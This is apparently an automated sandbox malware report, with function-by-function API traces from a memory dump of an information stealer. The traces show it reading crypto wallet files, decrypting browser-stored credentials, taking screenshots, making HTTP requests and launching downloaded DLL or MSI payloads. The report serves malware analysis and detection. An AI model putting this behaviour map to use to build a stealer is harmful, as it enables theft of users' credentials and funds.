Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00B9C990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 00B9C9A5

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BAA920: lstrcpy.KERNEL32(00000000,?), ref: 00BAA972
Part of subcall function 00BAA920: lstrcat.KERNEL32(00000000), ref: 00BAA982

Part of subcall function 00BAA8A0: lstrcpy.KERNEL32(?,00BB0E17), ref: 00BAA905

Part of subcall function 00BAA9B0: lstrlen.KERNEL32(?,00639178,?,\Monero\wallet.keys,00BB0E17), ref: 00BAA9C5
Part of subcall function 00BAA9B0: lstrcpy.KERNEL32(00000000), ref: 00BAAA04
Part of subcall function 00BAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00BAAA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0063D4D0,00000000,?,00BB144C,00000000,?,?), ref: 00B9CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00B9CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 00B9CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B9CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 00B9CAD9
StrStrA.SHLWAPI(?,0063D590,00BB0B52), ref: 00B9CAF7
StrStrA.SHLWAPI(00000000,0063D4E8), ref: 00B9CB1E
StrStrA.SHLWAPI(?,0063D920,00000000,?,00BB1458,00000000,?,00000000,00000000,?,00639028,00000000,?,00BB1454,00000000,?), ref: 00B9CCA2
StrStrA.SHLWAPI(00000000,0063D960), ref: 00B9CCB9

Part of subcall function 00B9C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00B9C871
Part of subcall function 00B9C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00B9C87C
Part of subcall function 00B9C820: PK11_GetInternalKeySlot.NSS3 ref: 00B9C88A
Part of subcall function 00B9C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 00B9C8A5
Part of subcall function 00B9C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 00B9C8EB
Part of subcall function 00B9C820: PK11_FreeSlot.NSS3(?), ref: 00B9C961

StrStrA.SHLWAPI(?,0063D960,00000000,?,00BB145C,00000000,?,00000000,00639038), ref: 00B9CD5A
StrStrA.SHLWAPI(00000000,00639188), ref: 00B9CD71

Part of subcall function 00B9C820: lstrcat.KERNEL32(?,00BB0B46), ref: 00B9C943
Part of subcall function 00B9C820: lstrcat.KERNEL32(?,00BB0B47), ref: 00B9C957
Part of subcall function 00B9C820: lstrcat.KERNEL32(?,00BB0B4E), ref: 00B9C978

lstrlen.KERNEL32(00000000), ref: 00B9CE44
CloseHandle.KERNEL32(00000000), ref: 00B9CE9C
NSS_Shutdown.NSS3 ref: 00B9CEAA

Strings

, xrefs: 00B9C9C6

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: b54a5e144439a720d707f03d766d7e80dfa80282d57b0c1d124fdc831556fbef
Instruction ID: f2e6c40a5a9c165f002966dc73d011f08ea93261bdcc3694b4d8395b1b054e4c
Opcode Fuzzy Hash: b54a5e144439a720d707f03d766d7e80dfa80282d57b0c1d124fdc831556fbef
Instruction Fuzzy Hash: ACE1ED71914108AFDB54EBA4DC96FEEB7B8AF15300F408199F106B7191EF346A4ACB72

Function 00BA12D0 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 310COMMON

Download Yara Rule

Strings

0c, xrefs: 00BA1560
Xc, xrefs: 00BA15EF

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: 0c$Xc
API String ID: 2001356338-3034905904
Opcode ID: 083fe45c4341a7e02f0b221c96899c87e71b7fa94e2c8027ee22a501eba149ea
Instruction ID: b82608367966b6ea71688a5b0962b5d21d9f33303b1b83cba3909cb6d6159235
Opcode Fuzzy Hash: 083fe45c4341a7e02f0b221c96899c87e71b7fa94e2c8027ee22a501eba149ea
Instruction Fuzzy Hash: 45C1C1B5905218ABCB54EF60DC89FEE73B8BB54300F0045D9F50AA7241EB74AA85CFA1

Function 00BA9010 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00BA906C

Strings

image/jpeg, xrefs: 00BA9136
@c, xrefs: 00BA91BD

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: @c$image/jpeg
API String ID: 2244384528-1868797748
Opcode ID: 314edcc3b84fd1d7a2cd326124bb4639b0d147cbe5f50d305fe98185beabbf5c
Instruction ID: 5f331f3487bf970c36768db1eb7da7f1045131e60d136e7ee9a9f04dba3708c5
Opcode Fuzzy Hash: 314edcc3b84fd1d7a2cd326124bb4639b0d147cbe5f50d305fe98185beabbf5c
Instruction Fuzzy Hash: 8571D8B1A10308ABDB04EFE8DD89FEEB7B8BB48700F108559F515E7290DB74A905DB61

Function 00BA2E30 Relevance: 21.5, APIs: 3, Strings: 9, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

ShellExecuteEx.SHELL32(0000003C), ref: 00BA31C5
ShellExecuteEx.SHELL32(0000003C), ref: 00BA335D
ShellExecuteEx.SHELL32(0000003C), ref: 00BA34EA

Strings

/i ", xrefs: 00BA33E4
<, xrefs: 00BA3490
C:\Windows\system32\rundll32.exe, xrefs: 00BA3332
C:\Windows\system32\msiexec.exe, xrefs: 00BA34BF
.msi, xrefs: 00BA3398
/passive, xrefs: 00BA345B
"" , xrefs: 00BA309A
8c, xrefs: 00BA3070
.dll, xrefs: 00BA31E5

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$8c$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-2037196394
Opcode ID: 77e2a8c79c41ff2c7aafe264d44300b15129dce33068e3b2016fad15fcb78403
Instruction ID: 29aea4580c0887823a70782f69abf76cb7abebe9b6ce7d3c702a662673bcc52f
Opcode Fuzzy Hash: 77e2a8c79c41ff2c7aafe264d44300b15129dce33068e3b2016fad15fcb78403
Instruction Fuzzy Hash: EB12FC71814108AADB45FBA0DC92FEEB7B8AF15300F508199F50676191EF746B4ACFB2

Function 00BA4280 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00BA8E0B

lstrcat.KERNEL32(?,00000000), ref: 00BA42EC
lstrcat.KERNEL32(?,0063E2C0), ref: 00BA430B
lstrcat.KERNEL32(?,?), ref: 00BA431F
lstrcat.KERNEL32(?,0063D578), ref: 00BA4333

Part of subcall function 00BAA740: lstrcpy.KERNEL32(00BB0E17,00000000), ref: 00BAA788

Part of subcall function 00BA8D90: GetFileAttributesA.KERNEL32(00000000,?,00B91B54,?,?,00BB564C,?,?,00BB0E1F), ref: 00BA8D9F

Part of subcall function 00B99CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00B99D39

Part of subcall function 00B999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B999EC
Part of subcall function 00B999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B99A11
Part of subcall function 00B999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B99A31
Part of subcall function 00B999C0: ReadFile.KERNEL32(000000FF,?,00000000,00B9148F,00000000), ref: 00B99A5A
Part of subcall function 00B999C0: LocalFree.KERNEL32(00B9148F), ref: 00B99A90
Part of subcall function 00B999C0: CloseHandle.KERNEL32(000000FF), ref: 00B99A9A

Part of subcall function 00BA93C0: GlobalAlloc.KERNEL32(00000000,00BA43DD,00BA43DD), ref: 00BA93D3

StrStrA.SHLWAPI(?,0063E428), ref: 00BA43F3
GlobalFree.KERNEL32(?), ref: 00BA4512

Part of subcall function 00B99AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B94EEE,00000000,00000000), ref: 00B99AEF
Part of subcall function 00B99AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00B94EEE,00000000,?), ref: 00B99B01
Part of subcall function 00B99AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B94EEE,00000000,00000000), ref: 00B99B2A
Part of subcall function 00B99AC0: LocalFree.KERNEL32(?,?,?,?,00B94EEE,00000000,?), ref: 00B99B3F

lstrcat.KERNEL32(?,00000000), ref: 00BA44A3
StrCmpCA.SHLWAPI(?,00BB08D1), ref: 00BA44C0
lstrcat.KERNEL32(00000000,00000000), ref: 00BA44D2
lstrcat.KERNEL32(00000000,?), ref: 00BA44E5
lstrcat.KERNEL32(00000000,00BB0FB8), ref: 00BA44F4

Strings

(c, xrefs: 00BA43E6

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID: (c
API String ID: 3541710228-4066220940
Opcode ID: aa12318fccbc557a1295ea1fc92cf7a2142d22b26746cd7c2f6696a939286abb
Instruction ID: 2e7b5697ad42ce70062b6f23ac9f6912ea31734c11c141b2df48867aab7d0920
Opcode Fuzzy Hash: aa12318fccbc557a1295ea1fc92cf7a2142d22b26746cd7c2f6696a939286abb
Instruction Fuzzy Hash: EF7165B6D00208ABDB14EBE4DC85FEE73B9AB89300F0085D9F60597181EB74DB45DBA1

Function 00BA17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00BA17C5
ExitProcess.KERNEL32 ref: 00BA17D1

Strings

block, xrefs: 00BA17B7

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: cd1d4743e540892b758c22d846c3aef9ec885fa562934437fbbc47f588144074
Instruction ID: c0259bd73e0c335d1250754de0fbece60d19d4f430bf7b6bbc19bedb2457cb62
Opcode Fuzzy Hash: cd1d4743e540892b758c22d846c3aef9ec885fa562934437fbbc47f588144074
Instruction Fuzzy Hash: 4D519CB4A08209EBCB44DFA8C894ABF37F5FF45304F108499E806A7390D774E942DB62

Function 00BA52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00BAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00BAA7E6

Part of subcall function 00B96280: InternetOpenA.WININET(00BB0DFE,00000001,00000000,00000000,00000000), ref: 00B962E1
Part of subcall function 00B96280: StrCmpCA.SHLWAPI(?,0063E828), ref: 00B96303
Part of subcall function 00B96280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B96335
Part of subcall function 00B96280: HttpOpenRequestA.WININET(00000000,GET,?,0063E1B8,00000000,00000000,00400100,00000000), ref: 00B96385
Part of subcall function 00B96280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00B963BF
Part of subcall function 00B96280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B963D1

